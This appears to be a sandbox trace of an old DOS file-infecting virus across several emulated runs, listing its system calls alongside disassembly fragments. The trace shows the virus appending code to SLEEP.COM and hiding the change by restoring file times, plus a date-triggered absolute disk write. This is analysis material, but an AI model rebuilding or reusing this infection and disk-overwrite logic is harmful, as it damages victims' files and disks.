2018-12-25T12:39:33.994337752Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.002505193Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.013634568Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.023265365Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.02990689Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.036196031Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.038993651Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.050487227Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.052467636Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.060027308Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.062993737Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.0654043Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.068374949Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.069718661Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.072489851Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.084850614Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.087481391Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.089155882Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.10411338Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.115379362Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.117912915Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:34.123174767Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:33.559854456Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:33.563553568Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:33.566813048Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:33.571734392Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:33.573482765Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:33.594830922Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.608447263Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:33.615704318Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:33.619279468Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.732240892Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.734682249Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.742785373Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.745929747Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.748929016Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.752514498Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.753956071Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.756549181Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.766962277Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.769666847Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.771602658Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.781357942Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.791165777Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.794033225Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.798634173Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.803663921Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.805657196Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.817276815Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.820192874Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.828267577Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.831213973Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.835368638Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.838777783Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.84168177Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.845114955Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.852078229Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.854834784Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.857558709Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.866746389Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.880108253Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:33.883634614Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.891277238Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.898402197Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.900840753Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.912432591Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.914229379Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.921449267Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.924523232Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.927372402Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.930211136Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.93203345Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.934320188Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.943477045Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.946661278Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.948704233Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.957340393Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.969290711Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:33.972247624Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:33.978164939Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:33.779393801Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:33.782790124Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:33.785851369Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:33.790690801Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:33.793593233Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:33.800836807Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.80853583Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:33.816573647Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:33.819670537Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.839917806Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.842351934Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.858820733Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.866659444Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.870067178Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.87440719Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.875708547Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.878054128Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.887680464Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.889406629Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.891007334Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.89960948Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.910917244Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.913492524Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.919397959Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.927189828Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.929506354Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.937863457Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.940311684Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.947676412Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.951451937Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.955220358Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:33.95777129Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:33.959231752Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.962526446Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:33.97168305Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.974470098Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:33.976692128Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:33.986507381Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:33.997934127Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.00160097Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.008985326Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.016260064Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.019029468Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.030573412Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.032951431Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.040645801Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.045897176Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.048971413Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.051996451Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.055816074Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.058233874Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.067936281Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.077438415Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.079229899Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.093688375Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.106663634Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.109601282Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:34.114619293Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:33.827432169Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:33.831364796Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:33.835146665Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:33.838028024Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:33.839512154Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:33.843932135Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.849988708Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:33.855350394Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:33.860305806Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:33.880684901Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:33.883112758Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:33.897871741Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:33.905024931Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.907039754Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:33.909469368Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:33.91116927Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.91409457Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:33.924205486Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:33.926570986Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:33.928122219Z 62 PC: 12d0b | Close file
2018-12-25T12:39:33.937302743Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:33.949023432Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:33.952049793Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:33.960464053Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:33.968344173Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:33.970242899Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:33.981516743Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:33.984024927Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:33.991198542Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:33.994230307Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:33.99762196Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.000399337Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.001833861Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.004699437Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.014110597Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.016331992Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.018717158Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.028071661Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.039361745Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.043134795Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.051182004Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.058394278Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.060357074Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.067482433Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.069238502Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.07664413Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.080792182Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.083777619Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.086732205Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.08973811Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.097296311Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.107497765Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.111147815Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.113446448Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.122300014Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.134181799Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.13739787Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:34.141812149Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:34.010036949Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:34.01367191Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:34.017354084Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:34.02029957Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:34.02167709Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:34.029022591Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.033062651Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:34.037327445Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:34.039305173Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:34.051248729Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:34.053002525Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:34.057590061Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:34.059507136Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.061239184Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:34.06345525Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:34.064419014Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.065792155Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:34.071670754Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.073728522Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:34.075334226Z 62 PC: 12d0b | Close file
2018-12-25T12:39:34.083276658Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:34.097073282Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:34.099696688Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.107648093Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.113817123Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.115881153Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.126660311Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.128336008Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.134682666Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.138275836Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.140877225Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.14335605Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.14570958Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.147943641Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.15660547Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.159428475Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.161074643Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.168527837Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.178429153Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:34.181419209Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:34.187886163Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:34.194162882Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:34.196628388Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:34.206709271Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:34.208493047Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:34.216153829Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:34.219113831Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:34.221883524Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:34.225542347Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:34.227232127Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.229532438Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:34.239532606Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:34.241615259Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:34.242960336Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:34.251348973Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:34.260689981Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:34.262683984Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:34.26695011Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
